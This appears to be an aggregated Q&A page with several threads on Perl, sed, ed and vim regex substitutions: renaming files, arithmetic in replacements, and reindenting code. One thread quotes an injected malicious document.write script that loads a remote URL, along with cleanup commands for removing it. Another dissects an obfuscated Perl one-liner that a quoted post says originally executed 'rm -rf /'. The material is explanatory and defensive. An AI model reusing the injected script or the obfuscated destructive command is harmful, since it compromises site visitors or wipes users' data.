I'm using brew rename to rename multiple files...
file-24.png => file.png
file-48.png => file#2x.png
file-72.png => file#3x.png
the first one is succeed with,,
rename 's/-24//g' *
the second and third...
rename 's/-48/#2x/g' *
and getting Possible unintended interpolation of #2 in string at (eval 2) line 1...
escaping doesnt work..
rename 's/-48/\#2x/g' *
other possible ways to rename multiple files like this case are also welcome..
I don't know what "brew rename" is, but if it uses normal regex
's/pattern/q(#replacement)/e'
This uses /e modifier to evaluate the replacement side as code, where q() operator (single quotes) is used to insert literal characters.
Another way is to use \x40 for # character
's/pattern/\x40replacement/'
or just escape it, use \# in the replacement.
This is suitable for when there's just one character to deal with, like here. if there's more than that then it's easier to single-quote the whole thing, with q() (for which we need /e flag).
Can't help it but ask -- are you certain that you want to have # in a file name? That character gets interpreted in various ways by many tools. For instance, sticking that file name in a variable in a Perl script leads to no end of trouble. Why not even simply file_at_2x.png?
This may be more of a curiousity, but if you have a lot of files you can rename them all with
's{ \-([0-9]+) }{ ($r = $1/24) > 1 && qq(_at_${r}x) || q() }ex'
This captures the number ([0-9]+) into $1. Then, it finds the ratio ($r = $1/24) and if that is >1 then (&& short-circuits) it replaces -number with _at_${r}x, otherwise (||) removes it by putting an empty string, q().
I use {}{} delimiters so that I may use / inside, and }x allows spaces inside, for readability.
Please test this carefully with (a copy of) your actual files, as always.
I know this question is old and maybe the version of rename that apt-get installs is lightly different or improved. However, escaping with a single backslash seems to work:
$ rename -n -v 's/-48/\#2x/g' *
rename(foo-48.txt, foo#2x.txt)
Related
I am trying to write a very simple one liner to find cases of:
foo N
and replace them with
foo N-Y
For example, if I had 3 files and they had the following lines in them:
foo 5
foo 3
foo 9
After the script is run with Y=4, the lines would read:
foo 1
foo -1
foo 5
I stumbled upon an existing thread that suggested using /e to run code in the replace half of the substitute command and was able to effectively subtract Y from all my matches, but I have no idea how to best print "foo" back into the file since when I try to separate foo and the number into two capture groups and print them back in, perl thinks I am trying to multiply them and wants an operator.
Here's where I'm at:
find . -iname "*somematch*" -exec perl -pi -e 's/(Foo *)(\d+)/$1$2-4/e' {} \;
Of course this doesn't work, "Scalar found where operator expected at -e line 1, near "$1$2." I'm at a loss as to how best to proceed without writing something much longer.
Edit: To be more specific, if I have the /e option enabled to be able to perform math in the substitution, is there a simple way to print the string in another capture group in that substitution without it trying to do math to it?
Alternatively, is there a simple way to surgically perform the substitution on only part of the pattern? I tried to combine m// and s/// to achieve the results but ended up getting nowhere.
The replacement part is treated as code under /e so it need be written using legal syntax, like you'd use in a program. Writing $t$v isn't legal syntax ($1$2 in your regex).
One way to concatenate strings is $t . $v. Then you also need parenthesis around the addition, since by precedence rules the strings $1 and $2 are concatenated first, and that alphanumeric string attempted in addition, drawing a warning. So
perl -i -pe's/(Foo *)([0-9]+)/$1.($2-4)/e'
I replaced \d with [0-9] since \d matches all kinds of "digits," from all over Unicode, what doesn't seem to be what you need.
There is another way if the math comes after the rest of the pattern, as it does in your examples
perl -i -pe's/Foo *\K([0-9]+)/$1-4/e'
Here the \K is a form of positive lookbehind which drops all matches previous to that anchor, so they are not consumed. Thus only the [0-9]+ is replaced, as needed.
I found some malicious JavaScript inserted into dozens of files.
The malicious code looks like this:
/*123456*/
document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>');
/*/123456*/
Some kind of opening tag, the document.write that inserts the remote script, a seemingly empty line, and then their "closing tag."
In a comment on this Stack Overflow answer I found out how to delete a single line in a single file.
sed -i '/pattern to match/d' ./infile
But I need to delete one line before, and two lines after, and again it is in at least a few dozen files.
So I think I could perhaps use grep -lr to find the file names, then pass each one to sed and somehow remove the matching line, as well as one before and 2 after (4 lines total). Pattern to match could be "\n*\nmaliciousurl\n\n*\n"?
I also tried this, trying to replace the pattern with empty string. The .* are the hex numbers in the opening/closing tags, and also the stuff between the tags.
sed -e '\%/\*.*\*/.*maliciousurl.*/\*/.*\*/%,\%%d' test.js
You need to match on the begin and end comments, not the document.write line:
sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'
This uses the % symbol in place of the more normal / to delimit the patterns, which is usually a good idea when the pattern contains slashed and doesn't contain % symbols. The leading \ tells sed that the following character is the pattern delimiter. You can use any character (except backslash or newline) in place of the %; Control-A is another good one to consider.
From the sed manual on Mac OS X:
In a context address, any character other than a backslash ('\') or newline
character may be used to delimit the regular expression. Also, putting a backslash character before the delimiting character causes the character to be
treated literally. For example, in the context address \xabc\xdefx, the RE
delimiter is an 'x' and the second 'x' stands for itself, so that the regular expression is 'abcxdef'.
Now, if in fact your pattern isn't as easily identified as the /*123456*/ you show in the example, then maybe you are forced to key off the malicious URL. However, in that case, you cannot use sed very easily; it cannot do relative offsets (/x/+1 is not allowed, let alone /x/-1). At that point, you probably fall back on ed (or perhaps ex):
ed - $file <<'EOF'
g/maliciousurl.com/.-1,.+2d
w
q
EOF
This does a global search for the malicious URL, and with each occurrence, deletes from the line before the current line (.-1) to two lines after it (.+2). Then write the file and quit.
I've been using Codeigniter for my PHP project and I've been using their session class.
$this->session->userdata('variablename')
I've been having a lot of problems with this so i've decided to use PHP Native session.
$_SESSION['variablename']
This is what I've got so far
perl -p -i -e "s/$this->session->userdata('.*?$SOMEVAR.*?\')/$_SESSION['$1']/g" offer.php
But truth to be told I don't really know what I'm doing.
I would also like to do this on all php files in my project.
Help much appreciated.
The regex should be:
s/\$this->session->userdata\('(.?)'\)/$_SESSION['$1']/g
Issues with the version you posted are mostly with un-escaped characters--you can escape a $ or parenthesis by adding a \ prior to the character. For example, \$this will find the text "$this", while $this will search for the value of the $this variable.
For a more comprehensive look at escapes (and other quick tips), if you have $2, I highly recommend this cheat sheet.
Also, you don't need to use the .*?$SOMEVAR.*? construct you added in there...Perl will automatically capture the result found between the first pair of parentheses and store it in $1, the second set of parentheses gets $2, etc.
When shell quoting is getting complicated, the simplest thing to do is to just put the source into a file. You can still use it as a one-liner. I have used a negative lookahead assertion to make sure that it does not break for escaped single quotes inside the string.
# source file, regex.txt
s/\$this->session->userdata\('(.+?)(?!\\')'\)/\$_SESSION['$1']/g;
Usage:
perl -pi regex.txt yourfile.php
Note that you simply leave out the -e switch. Also note that -i requires a backup extension for Windows, e.g. -i.bak.
The following program is in Perl.
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-#[-`{-};`-{/" -;;s;;$_;see'
Can somebody help me to understand how it works?
This bit of code's already been asked about on the Debian forums.
According to Lacek, the moderator on that thread, what the code originally did is rm -rf /, though they mention they've changed the version there so that people trying to figure out how it works don't delete their entire filesystem. There's also an explanation there of what the various parts of the Perl code do.
(Did you post this knowing what it did, or were you unaware of it?)
To quote Lacek's post on it:
Anyway, here is how the script works.
It is basically two regex substitutions and one transliteration.
Piping anything into its standard input makes no difference, the perl
code doesn't use its input in any way. If you split the long line on
the boundaries of the expressions, you get this:
$??s:;s:s;;$?::
s;;=]=>%-{\\>%<-{;;
y; -/:-#[-`{-};`-{/" -;;
s;;$_;see
The first line is a condition which does nothing save makes the code
look more difficult. If the previous command originated from the perl
code wasn't successful, it does some substitutions on the standard
input (which the program doesn't use, so effectively it substitutes
the nothing). Since no previous command exists, $? is always 0, so the
first line never gets executed.
The second line substitutes the
standard input (the nothing) for seemingly meaningless garbage.
The third line is a transliteration operator. It defines 4 ranges, in
which the characters gets substituted to the one range and the 4
characters given in the transliteration replacement. I'd prefer not to
write the whole transliteration table here, because it's a bit long.
If you are really interested, just write the characters in the defined
ranges (space to '/', ':' to '#', '[' to '(backtick)', and '{' to '}'), and
write next to them the characters from the replacement range ('(backtick)' to
'{'), and finally, write the remaining characters (/,", space and -)
from the replacement pattern. When you have this table, you can see
what character gets replaced to what.
The last line executes the
resulting command by substituting the nothing with the resulted string
(which is 'xterm'. Originally it was 'system"rm -rf /"', and is held
in $_), evaluates the substitution as an expression and executes it.
(I've substituted 'backtick' for the actual backtick character here so that the code auto-formatting doesn't kick in.)
This question is nearly identical to this question except that I have to go to three spaces (company coding guidelines) rather than four and the accepted solution will only double the matched pattern. Here was my first attempt:
:%s/^\(\s\s\)\+/\1 /gc
But this does not work because four spaces get replaced by three. So I think that what I need is some way to get the count of how many times the pattern matched "+" and use that number to create the other side of the substitution but I feel this functionality is probably not available in Vim's regex (Let me know if you think it might be possible).
I also tried doing the substitution manually by replacing the largest indents first and then the next smaller indent until I got it all converted but this was hard to keep track of the spaces:
:%s/^ \(\S\)/ \1/gc
I could send it through Perl as it seems like Perl might have the ability to do it with its Extended Patterns. But I could not get it to work with my version of Perl. Here was my attempt with trying to count a's:
:%!perl -pe 'm<(?{ $cnt = 0 })(a(?{ local $cnt = $cnt + 1; }))*aaaa(?{ $res = $cnt })>x; print $res'
My last resort will be to write a Perl script to do the conversion but I was hoping for a more general solution in Vim so that I could reuse the idea to solve other issues in the future.
Let vim do it for you?
:set sw=3<CR>
gg=G
The first command sets the shiftwidth option, which is how much you indent by. The second line says: go to the top of the file (gg), and reindent (=) until the end of the file (G).
Of course, this depends on vim having a good formatter for the language you're using. Something might get messed up if not.
Regexp way... Safer, but less understandable:
:%s#^\(\s\s\)\+#\=repeat(' ',strlen(submatch(0))*3/2)#g
(I had to do some experimentation.)
Two points:
If the replacement starts with \=, it is evaluated as an expression.
You can use many things instead of /, so / is available for division.
The perl version you asked for...
From the command line (edits in-place, no backup):
bash$ perl -pi -e 's{^((?: )+)}{" " x (length($1)/2)}e' YOUR_FILE
(in-place, original backed up to "YOUR_FILE.bak"):
bash$ perl -pi.bak -e 's{^((?: )+)}{" " x (length($1)/2)}e' YOUR_FILE
From vim while editing YOUR_FILE:
:%!perl -pe 's{^((?: )+)}{" " x (length($1)/2)}e'
The regex matches the beginning of the line, followed by (the captured set of) one or more "two space" groups. The substitution pattern is a perl expression (hence the 'e' modifier) which counts the number of "two space" groups that were captured and creates a string of that same number of "three space" groups. If an "extra" space was present in the original it is preserved after the substitution. So if you had three spaces before, you'll have four after, five before will turn into seven after, etc.